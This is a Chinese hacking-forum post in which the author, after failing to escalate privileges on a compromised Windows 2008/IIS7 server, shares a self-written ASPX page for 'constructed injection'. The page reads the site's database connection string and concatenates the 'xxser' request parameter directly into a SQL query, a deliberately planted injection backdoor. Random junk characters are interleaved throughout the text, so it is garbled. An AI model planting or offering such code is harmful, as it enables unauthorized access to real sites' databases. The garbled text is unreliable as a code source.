昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。* W* H2 k4 W0 A E/ Y
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。1 b+ J# b. G) c, t
代码量不多,自己写个拉倒了。烦死了。+ o9 S o7 J# D' W+ w' y: O; C
6 q$ g, U" v* U u/ O, S
, f; q0 C8 d' U8 M9 T$ C4 d6 l<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
: f P& f2 [# D6 j7 o<html xmlns="http://www.w3.org/1999/xhtml">* }) m6 @; x I3 [8 s8 s2 F0 M
<head runat="server">. Z! k( [/ q* Y9 M1 D
<title>暗影aspx构造注射专用页面</title>
2 d- I6 ~+ {# g6 @- h8 \</head>
; G5 v/ s6 |* E/ j& c<body>
, i: w& X% w5 w8 x7 u/ j7 Z0 X" t <form id="form1" runat="server">0 p: F' `) c+ w' ?
<div>. b- q. x- S' X$ W
<script language="c#" runat="server">
0 `3 d, D p& p% o8 ^ N$ I/ ]$ w$ F, B
void page_init(object sender, EventArgs e)7 w) O5 B- z: k/ X3 z8 N% x
{
" K: N3 `+ W' n% N
5 Q8 I) K# J8 w System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();% ^ r6 S J/ g5 m
5 }4 ^/ \' u6 v4 V0 |1 M* l conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
7 r9 E9 w( p0 G) T conn.Open();
' S# L# a: E1 {0 C - a9 A$ e v Z/ K7 F, [5 c
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
1 x% T! r1 `5 P- a ) E j; J+ v& l( r) I( ~
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);6 D7 J( q. o. ]/ k' |+ E. _4 U
int x = command.ExecuteNonQuery();
6 d2 q# q' c/ K1 [ Response.Write(i+"\n");
m' V4 P( M4 r' v* C Response.Write(x);$ ~4 w( p- n4 t3 B" L( O
conn.Close();1 O2 T0 I, O" ?* f
}
9 W- r0 {1 }( f
+ }0 z3 Q3 J4 U; L( U/ X4 J B </script>
9 _; t4 ]' h/ n4 d8 I: M3 {: g </div>' n8 k6 |- [& m" V* M q% ^
</form>
: A8 W( S( c0 `* l6 Z. m</body>
3 P5 a+ \" s% S% t</html>& R6 V- m2 o) A
|